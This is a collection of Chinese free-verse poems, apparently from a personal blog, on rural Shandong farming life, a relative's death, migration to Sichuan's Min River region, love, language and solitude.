真正的顺着竹子，中空的腹部降下。 一路向下是可疑的掩盖， 不是可疑的补救。土壤，不是赞歌与颂扬的土地 人不可能， 听信着夜晚的童话，群星，掩面。 不可能由人变作狗，真的，真假难辨，真真假假 真的， 有人这么去做了。 那么，文字，如同汪的一声，一连串的文字 如同卑躬屈膝者早已经遗忘了 他曾属于农民的这一质朴来源。 翻来书页或打开头条，我看见了 群居和圈养，看到了脑袋被电梯夹坏的人们 满嘴仁义道德，所行 却是反社会，反人类的恶行。沉默里面的那两个字 属于土地，属于土地的属于民族，属于民族的 来源于民族 如果不是，那么 入夜。。。 《入夜》 万物应该悲切， 因我的离开，离开的不仅仅 有我的肤浅，肤浅之上还有那 对于万事万物的闻所未闻。 那么，万物的悲切是虚假是耳目闭塞下 一场虚幻的梦？ 是否，人的躯壳，这个装满了的躯壳 今，在石榴树影子下，在冰冷的 遗留前几日雪花的石头桌子旁边 缘何是疲倦？是什么，什么是一直 摸到是离开？离开之前的轻轻的 抚摸，并不会触碰起痛意。甚至感觉 只是我的感觉我感觉，那与我 有着隔阂的梦正因这触碰而向着自己 梦的更深处的孤独。 于是，我只好接着感觉，就让这个， 从贫乏，向借着寒冬变幻。最后一丝期盼 存在于语言中，那梦已越来越清冷，轻盈 甚至幻梦。 它升起，即使它早已经占据了这场胡言乱语的绝大部分。 它接着继续， 上升。成为了，就成为了天上的月亮。 万物应该悲切，最后一丝放松，请恩赐 让我的疲倦突然如恍然如梦。让我 也可以有一丝平静和缓慢。 这些多余的文字我知道，会第一个消散于风月 我知道并没有人， 问起明天的天气。人纷纷的老去，事物纷纷的衰老 没有人清了清嗓子，一支清脆 或只有一支穿透的那么自然，那么令人怀念 残留。 入川 《入川》 我幸福，更幸福 和因此下一刻的沉默作为了标准 在囫囵与错误 在室内由南到北的奔跑。 思的游走只有了，向徒劳无功展示 我无法摆脱的紧张。 越过幽深的悬崖了吗？自问自答 在光芒，在窗户，绝非一些 细小缝隙之中。透射进来。 如果我可以从此刻开始沉默，闭嘴 整日的移动在光中。 整日的移动在光中， 移动在光芒的谎言中。 让同样的一句话，重复 枯燥。接受语言的审判。 让幻想之为幻想在于，匆忙戛然而止。 连那空也一时之间的震颤，恍然 让那误解，常常带着误解的念白 ——把事物随手称作了空。 而我就是空着的事物。我幸福 此刻的疲倦与紧张也属于幸福。 在广阔，辽阔之地尚且没有主人， 没有人会对于我顽固的追问，夜灯初上时 没有一间屋子会作为回答和居住的旅店。 没有，可那消失了的正是我自己的语言， 却又回声一般，回来的 从那冰冷的墙壁。现实与虚幻之间 存在着的并不是界限。界限承载了太多 人的可疑和可疑的人。那么此刻，它更加宽容 当这些话语实则属于废话，仿佛旱地里面竟有一个 等待填满的土坑。对于无意义的产生 就像我只是远远的望见了炊烟，山脚下，它升腾 之前被点燃，无风，笔直， 测试着最为平静的安静，一边 农民又只是用它，来做饭，温饱。 呵，可是农民的一生从不曾被给定在无意义之中。 请投来可笑与轻蔑，但我无法也没有力量 去把废话和空洞改写。 如果，我的语言也来自于冥冥，比如 这就是一个人的命运。从山顶，我看到了 许许多多人蝼蚁一般的渺小。 我看到了界限将我拉回到了现实。给出它 的 意思。给出它，一面虚幻，一面则属于光芒的定义。 给出永恒存在的大地之光，多么的永恒呵。顺便 给出了我， 这个贫乏，无知，恐惧者的微不足道。 请允许赞歌只赞美大地，只赞美永恒沉默着的事物 赞美，建筑在这之上的发生。赞美一种从来都不及于万分 便赞美建筑。赞美者自己的幸福的形象， 正在赞美着，等待春耕的土地， 春耕的土地正等待着幸福，幸福，请首先的降临于我。 无题074 《无题074》 雪。。。。。。 无限不需要言说， “地”是另一部分。 缺失，缺失，一切都只是 缺失而来的描述的事实，是 多么的难以描述。人 笨拙偏偏又试图强求轻盈的肢体， 语言的肤浅，肤浅又抵不过，更加让自己 目眩神迷的做作。 难不成云天上的竟只是逃脱了的语言， 是结果，是后果。是 肇事者的无能和干瞪眼。好吧，就甩出一句 乡音和俚语。就在粗糙，冰冻的大地上面 穿厚衣裳，戴高帽子，捧起一把泥土。 你的不满就是我的不满，同样的虚无 不知所措。我看着东面上坡上的房子， 看着用拖拉机一趟趟拉过去， 花费了人力，无力。把树林成片砍倒 从山脚开挖，铺平之后通到山上去的羊肠小路。 红色的砖放在那里，整齐堆放。 那个盖房子的主人我认识，他是我的三叔。 老家就在我的前面。今年他死了。 一个不爱运动的人，不曾想，心中竟一直藏着一个 看起来躁动的心。 一个对于群山时常以沉默，不说话来回应的人 超过了很多人。听从了他们的建议，从自己的积蓄中 拿出了一部分。 买砖，请工人，包山地。但我并不知道他想要干什么。 我没有问过，我懒得问，我也 不会来拖拉机，不是泥瓦匠。对于群山 我熟悉又陌生，为什么，死亡像一声沉闷的叩击。 仿佛所有的事情，元素，明明早已经远去， 消散。 回想之际，以那平常。又纷纷聚集。 从山脚下我看到了修好的房子，我看到了 他的主人放弃了它，把它交给了群山。 不知道群山是否习惯这个与草木和流水迥异的东西 肿瘤？ 群山需要多久才能克服它。 起初，它是馈赠。反之，则人类的群体不会答应。 死亡，雪？ 不会有诗人来到我的故乡，被期待的 那些对于它们，精悍深刻的诗篇， 我想请他们看一看，往东面，山脚下我三叔盖的 红砖房。 无题075 《无题075》 雪。。。。。。 不需要言说的，无限着。 土地，是否也可以隐去它的另一部分。 缺失，缺失，一切皆虚幻，万法皆空 一切，脆弱的声音 无力者昂扬向上。一切 都只是难以描述的后遗症————缺失。 还有那焦虑，呵，对我 初学者难以弹拨的琴弦，担忧着它的 静谧，它的破裂。 从不曾为我自己的手指有过什么祈祷和祝福。 祝福的手掌， 合十。祈愿的一根根， 基础像是那辛辛苦苦大地冬天的，一次 孕育。 如果我可以轻而易举， 用两三首深刻，放松的诗篇。概括和永恒。 如果我不能，我也不能迟钝着的 吟唱和念白。 如果只是不曾押韵，请指出我初学者笨拙又无知的理解 请给予我倒退之身放松和迟缓。 我梦见，鱼干一样的身体躺在倾斜的箩筐。躺在 白日梦里陌生又熟悉的屋顶。 梦见结冰的河水，使人 可以倒退。语言能够重复。一定是为了 把爱延续，把有关于爱的持续证明。 白日梦，我梦见，远方白雪皑皑的山坡。 山坡， 梦见倾斜，成片收割后荒凉的土地。 从山上纤细，直通村庄的山路。村庄， 模糊。 我还梦见了另一个人儿的白日梦来。 梦躲藏还是人躲藏。梦便晃荡。 在我和他之间。当你也回到了你的故乡 在我和你之间，摇摇晃晃的梦？ 什么事情才能更为更为的长久？什么 是你我提起永恒，接着垂思冥想于永恒的根据 和理由。 破碎，窗玻璃一样的声音是否会在夜里传来？ 当那个永恒长久一般， 慢慢的人类的共同话语，此刻我孤独。 从其中脱离，像一团不甘心的未可名状之物 依然散发着模糊不清的烟雾。 怎么了 《怎么了》 唉，如愿。 接下来的结果，被占据在了的 一段时间。 诗歌遵从于我们的爱意， 我也思讨过，甚至我往前探出身子 触碰我内心的的紧张。 它们来自于哪里，有哪些最为大的梦的 破碎：之水天上来 破碎而成星辉。山，隐藏去了，尚且在等待之中 那个冬眠的填补者————补救者 并非一声轻唤，我的某一部分 并不像柔柔的空气毫无重量的， 回到了我。敲打我的思绪。我担心 它们会化作美丽蝴蝶一般的遗忘而逝去 在平静的夜晚幻想一次闷雷？ 去爱上一个别的女人，以此 好来证明，我爱的贫乏，爱的肤浅，爱的自私。 我曾经怀抱住了什么，是否 同一时刻的美丽星辉里面，穿着打湿了的衣裳 颤抖着脆弱的身体， 还有那个悸动万分的身体和身体的接触， 我便自顾自的问自己，那是什么。 我怀抱住了的是什么。你的眼睛，弯弯如月牙 此刻的月亮却像是一个大圆盘。 降下了寒冷的霜气，呵。在我的心里面 经过了一次又一次的自我修补和加固。 经过了一次又一次的检查和查看。我看了 那些四四方方，窄小的窗户。透过窗户 看外面，看天上，有时候突发奇想试图 看一下自己的梦想。 看你，明明是冬季。却穿着牛仔裤，你不爱穿裙子 但你走来了。你，撑着伞， 走来要越过的那条河流。你，美丽的，迷人的花儿 向自己丢失了的绿叶走来。所以，我看 眼睛睁着大大的。圆圆的。呵。原来 天上没有月亮， 月亮在你的眼睛里，我的眼睛却在了天上。 仿佛一切已经足够多了，仿佛此刻像一个 再也承受不住爱意的口袋。 有了重量，被我装进了你的脸庞，你的微笑，你迷人 又多情的容颜。呵， 此刻的重量就像钟表盘上面时间的指针， 移动。就像我的心儿正被一次次的敲打 咚咚咚。。。时间呵，你带走了我的爱人。 带来了惆怅，孤独和思念。 时间呵，请把我变成你移动准确上严谨的刻度， 好让我， 在每一个钟表上面都存在，都观察。 每一个爱情里面都会有我，沉默，冷静，期盼 又怜悯。 每一个我都是我，又不再是我。 文字的起初落进起初无形的纸张。 爱意透过了那些薄薄的纸页，响起的 确实世间流逝的声音。 我又一次迷失了，于是，紧紧抓住一个女子的那人儿 在荒野，在寒冬，在月色下面，在一阵微风里。 致辞 《致辞》 走的最远，走。 走在走的最远之上。 是高山，缘何就隐藏去了它的名字 是名字，缘何就沉默不语。莫不是 忽有俏皮之心，那草灰色又斑驳的纹路 之上开裂。是名字沉默 混同于身形。我能听到来访者的第一句话， “够大，够高”。变作那登山者所 需要交出的门票。奇异 定然是于文人骚客而言。何妨呢 登山者不累我却累了，我却不累，我的 语言的念白，我的肤浅已在浅浅的 词和诗的水塘里面累了。 致辞＼/＼/ 致辞 《致辞》 走的最远，走。 走在走的最远之上。 是高山，缘何就隐藏去了它的名字 是名字，缘何就沉默不语。莫不是 忽有俏皮之心，那草灰色又斑驳的纹路 之上开裂。是名字沉默 混同于身形。我能听到来访者的第一句话， “够大，够高”。变作那登山者所 需要交出的门票。奇异 定然是于文人骚客而言。何妨呢 登山者不累我却累，我却不累，我的 语言的念白，我的肤浅已在浅浅的 词和诗的水塘里面裸露而出。于是我质询 我轻蔑，肤浅之徒的尊严在于了 弹出一枚只对于走的最远者的诗人的称谓。 请不必作答，绝非也没有回应的有所遗留， 让我，点燃蜡烛室内阅读， 仿佛让我因弱小生命之上开出的平凡，你揭示的命运 使得我存在了 松树 《松树》 立在那里的一棵棵松树 真相只是立在那里的一个个， 回到了故乡的人。甚至对份耐心， 即使我指出了他们的，人的伪装也佯装作听不见。 在我见到了很多人纷纷离开了这个世界， 我自己也离开之后的某一天里 已经过去很多很多年了。某一个晚上 没准它们之中的某一个 才脱下了厚厚的伪装，长长的叹了一口气。 想起来该寻回自己，很久没有联络的故友了 无题075 《无题075》 一年最后一天一般的书页里面 有着的困难。 一天到头的船只终于， 停在了干枯的河岸边。一年， 期待多么明亮的天平一般的眼睛。望着 事物一一散去之后，只剩下的错误和裸露。 一天，孤单之人陈词。 他，往前迈出一步。我的耳边， 放松被银色的树枝填满和打破。 在我的颤巍巍的性格的表面轻轻的划了一下。 ：最后一天里，留恋，遗憾甚至可以察觉到的不舍。 还是，我们不妨去把困难的最后一天制造呢。 是否在空的不断重复之中， 是否如果我确实无法停顿，平静。 那么，我是否就应该是默不作声的承担。 空里面的倾斜的天平，人们走向 岸边的船只。期待卸货的心灵却一次次落空。 我只能，对于早晨起来，和晚上暮色时分 围着小区与公园和林荫小路跑步的人们 投以敬意。当他们密不可分与 别处的暮色时分山丘投下的影子。如果， 只允许那些打结一般的话语充斥于我的嘴里。 他们早已经经过这个阶段了， 难不成一条仅仅调整文字位置的道路， 很多年，耗尽一个人的一生。他求助，也平常么。 画画，，， 《画画》 我正在画圆，我曾经焦急 希望赐云雾里面以紧张而筑，梦的僵固。 圆圈不会将我圈套，圆圈它最初的形状，甚至 它都不会赐予我，它，在圆之内空无一物。 确实如此，比如，我敲了敲门帘 一种声音便刹时起。呵，是否丢了一个文字 好来，好可以缓解我的紧张呢。是否 我画圆是因为追随一种奇妙，如果 不想她走的太快，失去不想只沦为恒久的叹息 文字雾气一般的虚空形象。 这就是那个梦了。所以，无中生有，甚至更多。 你离开，亲爱的，就意味着你一定会回来。 我画圆，正方性的画圆，之字形的画圆 紧张着画圆中倒退，笔墨的不完整，升腾的形象 直到，脑海之中的残缺。所以 更加用力的画圆已经明辨于本心。已是 带着对本心丧失的惶惶不安画圆。画， 一轮天上的月亮，我担心因今夜寒冷，它便没有了 归途。我担心它只一直美丽着， 脸庞清冷。唯一只有一次听闻了某个诗人， 他说“少时不识月，呼作白玉盘”。于是， 它总以形状各异的淡黄色示人。我的担心一定就在了 这样一个历史厚厚堆积的甬道里面，画圆。 圆已变幻，没有结果，毫无归期的人道主义。 基础是爱情，是， 情爱。我甚至想直截了当的就说了，亲爱的同桌， 就是你。我画圆。怎这圆圈画风突变，刹那再次凭空现 已是轮回之意呢。 这轮回可真是小，小之又小。那么，我回想着 青葱的少女来画圆，我走在早已经快要忘记的记忆的沙漠里面 画圆。我不能停手，但我大可以放心 那难以被察觉的一点点小心思，圆圈丰富着 它自己的冷漠，空虚，静谧和残缺。那么 又有谁会走进黑夜里面，黑夜里面又会有谁呢？ ————迎着那叹息：“不会”。 说出那圆圈在画我们自己的实情。 另一番历史诞生从此刻逝去的地方，我从人群之中脱身， 从孤独回到了孤独，我画圆，事情如此繁多， 好以画的空虚，圆之自我不知应对。 想。。 《想》 我想事情受到了，焦虑，肤浅 的影响。 紧张催鞭。莫非那是在一个细雨连绵时节 随即也被打消。 但这想法的倔强在于了人的退无可退 伞掉在了地上。雨中，我想一个东西 它成为事情的过程也在于此？ 句子 《句子》 句子和诗是人。裁缝 是人，人要穿衣裳，裁缝便不可缺。 因果不可缺但可消失于无形， 算命者是人，形象更丰富一些。手拿 土黄色旗子，掌握易经铜制的命盘。 算命者甚至苦恼于他一直都是那 第一个。当他第一个需要起身，前去 这个难解的句子，问题所需谜底 在人行道，栽种满了的法国梧桐早已经 落光了它的树叶。一边听着轻微的叶落之声 一边听，“句子是人”。多么恳切的提问。 这些奥义不在别处而在于此处， 否定一个来者，来者之中我并非图穷匕见。 相反我寒暄，肤浅。把整个的 城市的命运，把不属城市，村庄的老叟入城。 把城市的命运也归结为你，熟悉的每一天， 每一个傍晚看城市的日落。该如何的回答， 此处，该如何的来处理，是否那问题里面，有着 更深的纠结在于人的执迷。 请把此处的思与顾虑给予我。就像 我心甘情愿的把钱币交给一场与时代的悖逆和落伍。 我只是想听听你的话语，叶子漂浮在水面上 城市之水同样无形。我想， 驱赶着人与物，每一个仿佛都由话语所说出 所表达。我刚刚来到了城里，懵懂， 吃力的不能够，去把肤浅丢掉——句子和诗是人 巴蜀，， 《巴蜀》 雪能不能种？ 就像种地一样。就像种花生 种土豆。 春天来了，唤醒我体内的农民的 耕种的意识。抓粮食，犁开土地 把种子有规律的一次次扔进去。 这是山东的传统，方式。 花生种子种下之后，要填土，轻轻的 用脚踩一下。不要踩的太紧 有人说种子上面就像人的脸庞， 有可以用来呼吸的地方。或者说 花生种子也需要呼吸。呼吸？一张一吸 颇为梦幻，这是否就是老祖宗为数不多的童话。 山上也有獾，嘴巴厉害，鼻子更好使 隔着老远都能闻到种子的气味， 所以，村里人常常是一个种，大家就纷纷开始了 种植。 一时之间山坡上面就站满了人， 花花绿绿，男男女女。景象热闹。 但现在少了，山上的土地一点点的都荒芜了。 野草， 从后山开始，很早很早以前。那里有开垦出了土地 上幼儿园，小学时候我跟着母亲去过那里 还有我们家的一两只大狗。据说后山有狼， 人迹罕至。所以她自己去不安全。 但现在这种担心没有必要了。野草，重新的夺回实地。 从后山开始，米蒿，各种野花，青苔，叫不上名字的花花草草 一点点的重新把土地收回了山林。 村里的人也少了，老人们用最为决绝的方式 重新回到了山上。他们最恋旧， 我与他们也没多少感情，我是说， 他们，化作春泥更护花，更护这片生他养他们的土地。 年轻的则去到了城市里。种地挣不到几个钱 还累人。悯农，悯农，可都是嘴上说说。 所以都走了，不走才是傻子。 在城里工作，谋生，买房， 上大学，娶媳妇。一下子所有人都进入， 落入到了这个圆圈和轮回之中。 我也一样，我都不知道我是谁，自己对于村庄的惋惜 也并不诚实，没什么真正的恋旧。 如今，我来到了岷江，再往西就能看到茫茫的大雪山 巍峨耸立，一身的洁白。 却生出了如此怪诞的想法。是否，雪 也可以像种花生一样子，种在地上。 是否我从一个复杂，漫长，甚至贫苦，勤劳的传统 来到了另一片传统。 同样是农耕，同样，必然有着生老病死，悲欢离合 有爱情，有荒芜，有干旱，有种植，有丰收，有喜悦 即使喜悦我说过了，又重复了喜悦。即使喜悦如此的短暂 又渴望喜悦可以一直延续，持续。 对我而言陌生的雪山，对于当地人或许早已经熟视无睹 它们甚至还带来过灾难，旱季不来，雨季充沛。 造成了水涝。 把多么不值一提的一个人的好奇心放在 辽阔的种植天地之中。把我放在生生死死， 百年甚至千年不断起起落落的手掌，身影中。 感激不尽，火车，汽车 宽容了我这个不值一提的异乡人。农耕的几滴眼泪于事无补。 大雪山属于藏族，它农耕的部分属于汉族 很小的一部分，葱白的手，往前伸了伸。巴蜀 岷江，青城山下。 夜里的繁星不会一颗颗坠落，落在人的身体上面 岷江 《岷江》 九月像是八月，余音绕梁姿。 一副头颅，土地最深处站立。 一副头颅，残缺的弦声 迷惑不解的人们路上走着。 到达，请敲向你的锣鼓。 九月与八月一个样子， 站在历史深处一副喉咙。 我相信，摆放给我，面前看见 说清的困难，道德法令的难解会自我否定 残缺的农具不可丢弃， 放在闲置的房间，倾斜倚靠墙壁。 八月起的突然，八月里的真和假， 柴火，熊熊的火堆柴火上面燃烧。 请在空余出来的漫长时间中思考， 盼望别的什么。土地深处升起 一副头颅，一副喉咙。历史也需要 一具鲜活的身体，道德的身体， 即使不断的重复之中，不会，也不应该 会感到厌倦。 岷江2 《岷江2》 农耕的女儿诞生， 谜团还是结果。是否往深处再走几步 就会迎来一颗困顿 厌倦又“颤栗的心儿”。语言的蝴蝶 阳光下面飞舞，不是一个，也 不是一群。通过羊肠小路通往它们的美丽 丢弃不下是我自己的失语。 没有寂静和平静，怎会有置换 多么自然的发生呢。怎会有沉默不语的农民 异乡音从喉咙吞咽的更深，从胃部反刍，饥饿 沉默的更深，难耐寂寞的沉默着，我多么的渴望 一个农民，不急不慢，起落劳作的身影。 把一切弄作一个肤浅的回答，把路途视作问题 把一生慌息如顿悟。我追求下一个顿悟 农民永恒在他们劳作，辛苦，命运的天平上 岷江3 《岷江3》 拿走了山，等同于 就拿走了我的哑然。惆怅里面的 田地。梯田，我模糊的记忆 对村庄。记得仰起头，很多次看过那一棵 喜鹊忙碌着在上面筑巢的梧桐树。 如果两种具体，故乡的情意， 还有那一直渴望向下的躯体。 如果在并不能够把雨水带来之中，我早已经倦了 让我有一丝新生我想到了一些远方 勤劳，朴素的人儿。 想羞涩，想梦中给定了的不知所措， 想语言在唇边打转和饮食。那么， 在路上想，天色一直朦胧。想成为永恒着的。 被我感觉到时，短暂着。 农耕 《农耕》 世界上最为短暂的诗， 轻轻放在了，人的肉体之上。 无题078 《无题078》 分出，一分我的躯体 梦到从一到多了的自己。 那些累我从未曾梦到过， 那些累与梦的关系， 是否在梦幻里面，当一缕缕春风 吹吧，会把人的影子吹到河水里面。 大地如鼓 《大地如鼓》 从敲击里面方法诞生， 从否认和确认 来确认一次又一次事件。从一次 事件，让事物庄重。呵如果可以 就让我迷离在人声鼎沸。喧哗 隔着滔滔江水，让一条大河 在梦想之后平凡着做梦。让它 在尾音一般丧失里面。词语 不会给它多，减少，却会遇见困难。 让人们穿好了鞋子，做足充分的准备 语言要高于人们，旗帜，呵，我的耳朵已失聪 呵，恳请拯救者的话语第一个由我来说出。 恳请一定要真心实意，恳请漫长黑夜里面的一点点 亮光。恳请一丝丝的清明，回头，我看不到什么 我应说着的是我，模糊之中还能想到了什么 有什么还可以剩下。接着人们捡起。这是一个 苦难的时dai。这是巨大的手掌干脆把人们组成。 我分不清天上积雨云，分不清肇事者的雷声 云层的阴郁。如果结束意味着幸福 人们却从幸福之火的熄灭之处出发。如果 恳求无辜的人们，长长的队列。如果 令我迷惑却是我自己的幼稚和可笑。 有这样子的一种传言，大河会干枯，人类的手 可以扒开云层。 语言如冰雹落下，也还是语言组成了的鼓 一次次迎上，以大地而敲击。 炉子 《炉子》 炉子里的火向外传递着 具有层次和节奏的声音。像驱动着的 马匹不停的在奔跑。 我知道我看不见的火焰 正在炉中把它自己的模样燃烧。 如果我想象它的样子，它就变成了我 在火炉内部有一颗小小心脏，世界的核心。 而通过不甘的声音透过炉壁 又与外面的现实世界相连。 房子也像一个火炉的内部，那么 我就是这个火炉的核心。 窗外的寂静为何让人长久的困惑呢？ 起于无形和无声的箴言， 如果村庄也是一座跳动的火炉， 群山的另一边是它，炉子的外部世界。 我叹息，又越来越无力于 这越来越寂静的声音。只好这冰冷的声音 在那 世界，群山，村庄 房屋，和炉子燃烧的内部。破碎了 真实的轮回在大地上面发生，正准备燃烧 分明那炉子的声音正是我自己的声音呵。 爱情，，， 《爱情》 我并不能够， 在此刻让一切变得简单。 我的手有时会沾染爱情， 为了让它不至于不属于我，我就把它 揣进了兜里。 卷筒卫生纸与折叠的纸张有爱情， 资本书籍，《林中路》 它那情人正被压在尚未书写的白色本子下面 ：张枣的诗。 茶叶盒子过分简洁的爱情让人不适， 水杯同样空空。 爱情旋转的模样之中的这沉默的一面， 那同样沉默的情郎就是从这里逃脱。 但之所以我愿意把夜晚 称作寻觅，以清冷谓之。就像 孤独的人儿缘何只有我呢？ 我试过了桌子，火炉，院子和村庄 在一次次无功而返之余我试过了 黑夜里面的树木。 那些语言从一开始就去找到了它们的情郎， 镜子里面的断章， 更真实的我沉默着，又不想透过反光的表面 来将此世界，实则虚幻告知。 水杯 《水杯》 如果我拿起了水杯。 水杯和茶叶盒子休戚与共， 水杯与茶叶盒子一妻一妇。 心灵相惜沉默不语着。 为了不让自己， 在拆散鸳鸯的骂名里面越陷越深。 我拿起了水杯，却又把自己 准备用语言来反驳的， 用茶水咽了下去。 春天，， 《春天》 爱四季没有理由， 春天没有理由。 请把你的唇吻在我的脸颊 让我在春天的小路上走着，遇见了你 冬天，，。 《冬天》 隔着被子， 不曾亲吻寒冷室内的空气。 小台灯一整晚都在亲吻着寒冷 橘黄色，淡淡的光芒是它的诉求。 我很难相信一支书本上，六十年代 一位年轻人以冷峻的姿态所写 控诉和批判。从工厂，托新时代的福气 一双手掌一开始就准备好了， 他下定决心，这一个制造过程如此的详细 这一盏小的淡黄，旧时代的缺口，旧时代 之后还有一个缺口。 那缺口更小了一些，有时候我想，我躲在被子里面 我的呼吸是缺口的当下 木芙蓉，，。， 《木芙蓉》 在自己的诗歌中， 慢慢地，伸展一朵木芙蓉。 带着误解的夜晚， 伸展开自己的身体。 也把那误解的心儿呦， 慢慢地，写进自己的诗歌里。 杯子 《杯子》 一个杯子不光只有杯子 不光只有，在它的表面 流溢着对于未来的，仿佛一直都在反驳的 陈词。 仿佛如果没有别人，如果连押解的 官差也跑了，天气阴冷， 来到了一片荒凉之地，仅剩下了我。 所以我谈及落寞要更加小心一些， 不仅仅在那些词语的表面 下面好像充斥，我早已经知道了的 过去历史的流水。 而我的话语也将如同， 那些从高处抛掷下来的一盆水， 落在了地上，水花四溅。 为什么这些微弱的表面之光会突然之间 把我大部分的思绪占据又弄乱呢。 是否我确确实实应带着虔诚的有罪之心， 本想指明般的给予一次揭示：杯中水 而它尚且在停顿之中感受到了某种压力 我迫切的希望。停顿，富有的哲理 是在停顿之中更加的停顿。 马匹，，， 《马匹》 在书籍和书籍之间， 悬停着的一匹莫须有的骏马。 骏马应承担全部的罪孽，并因此 有罪，形于虚无。 那是它的形，但依然隐隐约约， 在我的口边停顿，苦苦哀求。山水之中 一抹颜色。 山上的罡风吹，拂过以证透明。 并没有人提出过什么问题，提出悬疑 甚至从丛生的传统和偏见里面，有一些反常 人突然的寂静，寂静则过于盲目乐观。 比如我，或者其实就是我。 踮起脚我也看不到，远处给予我的是一片白茫茫。 是无尽头。乃至因此是诗歌，是 诗歌里面的山谷，必然因因果果狂暴的风，谓之以 罡。 必然是一起骏马，我需要一个落脚点，作者 他不能一脚踏空。所以，虚无之中藏着的 是结实。结实的表面斑驳，又会粗糙 粗糙的里面更加的结实，语言的鼓锤，铁棍 不断地敲击，在敲击里面不是回响。我的取出 我的误解，错以为空虚乃是敲击的持续之中 是悲悯和垂下，靠近，贴面的怜悯 在我的脸上洋溢着动情的山水，叫不上名字的河流和湖泊。 我赐予你，骏马，世界之马。实体之马 为了让空白的大地上为了人的来临而有了一条阶梯 为贫乏的心，它的惶惶不安，它的马匹一般的悲鸣。 可当我靠近，当我从幻梦一般的不断敲击与抽离之中 喃喃重复着我自己的失语。 那片，是我一生都不会去到的山谷。那马匹， 亟待休息。落入虚无的彻彻底底 应是真正的悲悯的心灵来把人儿指向。 那么，最为微小的一匹骏马。请你在踏过了 青青的草地，饮食过了甘洌的泉水 月下的旷野你肆无忌惮的嘶鸣，你奔跑，呵 我的语言它贫乏于此，而也爱着于此于 悠远又绵长。所以， 马匹你就是那座山谷，那些在你的腹中，腹腔里面 的不可消化，不可分解。当一切错误的语言 锈迹斑斑的利剑。 渴望着正义的法庭。我最后一次的幻想。 法庭是天地，天与地是奔跑中辽阔的屋舍。 这些流星一般迅速里的庄严，是无声的偏又沉闷 直抵内心。呵，我坦诚，我交代，我无力又疲乏 我， 就是那匹虚无之马，无形的锁链紧紧束缚。 我自囚，如今，所有带着希望的通路，半途而废。 如今，新的一天里面，我所得已然丰盈和繁多。 马匹，你这褐色的山谷，背上 请让我为你取下枷锁。 马匹的锁链应该真实再真实，大地上燃烧的木棍 衰老的干枯的木棍的美好历程。 夜色快要到来了。夜色与我无关，交代者 大地的庄严的fa厅，天地的曾经的屋寓。 我的，，， 《我的》 此刻，美好声音里面的震颤奥，无限绵长。 此刻，莫名的，丢弃那些我不爱的理由。 不会有人是我的影子，是我的一部分，幻梦里面的 脱离和分离。质询于我。在结束和结尾我都不会再看见 咏叹调里面，白茫茫尽头渴盼着飞起的大鸟。 一双翅膀，金色的阳光把上面落难。——不曾想 明明属于我的语言，冥冥之中已经渡河，来到了另一边。 没想到星辰的光偶尔会来自人类。人们， 多么亲切的话语。又令人感到了不安和担忧。 我心内的大门脆弱，木制的新的大门，我担忧 它也经不起岁月的腐蚀。难不成是在退无可退的尴尬处境 又或者我的莫名实则滑稽又可笑。首先，举起的手儿 用来掩面。为了躲开自己对自己的审视，我们 设想了造物主的宽容和怜悯，设想世界是空的，空洞的。是缄默的。 无声的环境远远要比声音鼎沸来的辽阔，来的广阔。 一丝丝声音，那么，属于夏虫。语言里面的夏虫 语言里面的舌头饱腹之后把它随口吐出。数量很多 丢在草丛，丢在火焰，燃烧的语言又怎么能燃烧它自己呢。 于是，草丛是广阔的，语言的结果总是青色和绿色。总是生机。 我，人类，人类，我。从上面走过。脚下 传来了海绵与沙滩一样的柔软感觉。 于是夏虫在被吐露之后点亮起它们的腹部。发光。 如果发光不够，如果阴雨天气是不够的远远不够。 呵，它还保留了最后一份含蓄和人性。于是 不仅仅发光。夏虫，它发出的声音， 有着节奏的波浪。波浪起伏上面有着尖锐而汽笛般 渡河而去。等待共鸣。 ————等待共鸣？我在河水的中央不成。 是否有一个问题把我需要。是否 你我都一直期待和渴望。 当我们对于世俗和平常感到了厌倦， 从眼前弗略过的花的影子，树的影子，山丘的影子。。。 已经提不起人的兴趣。反问，于是， 是沉默，沉默不是沉默。 是苦闷。 于是我把一个问题如此亲切和形象的想象。我想象 倾斜的身体才可以倾斜着， 走过倾斜，狭窄的巷道。烦闷的生活，没有了尽头 那也是一中的丢弃，于是，它继续的绵延 即使红砖，即使会有旧时代的诗人实则把忧愁 解决一般的称作了突发奇想。 于是，赶来大于等待，等待者则遗留下了如此众多 混乱不堪的语言。 把这些需要去整理，理顺的任务交给我。 把院子里面还没有开花，还没有绿叶的植物交给我。 把它的名字交给我， 桃树，梨树，枣树，石榴树。 让一切在矛盾和自我冲突之中生长，但需要缓慢。 让我沉默，出于任务的琐碎和繁多。呵，让我快乐 如果不是你，如果他人孤注一掷。黄河的水面传来了 命运的破冰声。如果我把自己的形象亲切的比喻 词语带着铃铛的响声。愿这响声无限，呵，夜晚的夏虫。我已经将你们遗忘了。 多多，， 《多多》 1973年， 小心一些的说，呵 嘘。阅读就已经开始。 还有那涉水的声音， 在作者的预期和盼望之外。 它也组成了作者不幸的命运 ：因果锁链。 因这预期之外的没有预料到。 船舷，铁质。 波浪像白花花柔软的碎银子。 像贫穷旧日子已经远去，只在了 一封信件。信件 注定要被书写。 谁会读那些诗歌呢。谁 注定要拼凑它那千疮百孔。 1973，把诗歌，把异域，俄罗斯给我的 如今的感觉我如今设想我一无所知。 设想我那对于狗熊的厌恶依然存在 诗集只是伪善的正义和歌颂。你是我的另一部分， 你，钻进去，翻找，远远认真过了我。 你取走。但需要由我来说出。 我只想走进路边的旧房子， 声音，微弱与时间的关系。 张贴的布告，内容是 即使你再微弱，从我这里 雷声一般的声音逐渐衰弱的缓慢，仍旧 让我，平凡的下层人士，不安，不安。 土地，，，。 《土地》 我要和这个宇宙告别， 无知。持续的时间太久 我的耳目闭塞已经太久了 我要跟天空，远方，山丘，树木 庄稼，田野，粮食 还要试着跟我内心的贪婪和恐惧，懦弱告别。 如果一一的告别与一次性的 告别别无二致。如果我因此将陷入的 是更加的肤浅和现实的梦幻。 词语的梦幻显得如此微不足道，借此 轻轻柔软的无形之躯，才可以挂在树枝上。 我的梦中才可以一次次把它想象。 从梦呓中醒来，一一的告别，将占用 我碌碌无为，充满恐惧，和不得安宁的一生。 我反问，我不甘，我无力。 我却知晓，告别早已经发生，就像 我看见的每一个人儿，他们都活在我的眼睛里面。 眼睛用来看如今熟视无睹， 耳朵用来听如此只能缅怀过去。 如果雷声能惊醒的才叫做恍然， 如果面对众人，在谈论钱财的朗声里面 仿佛我才得以存在。呵。 回到一粒尘土，回到一颗种子。 我不识得，渴望叫出它的名字， 又把我的所剩无多规定。打出圆形的水井 向下。再多，便是静默。 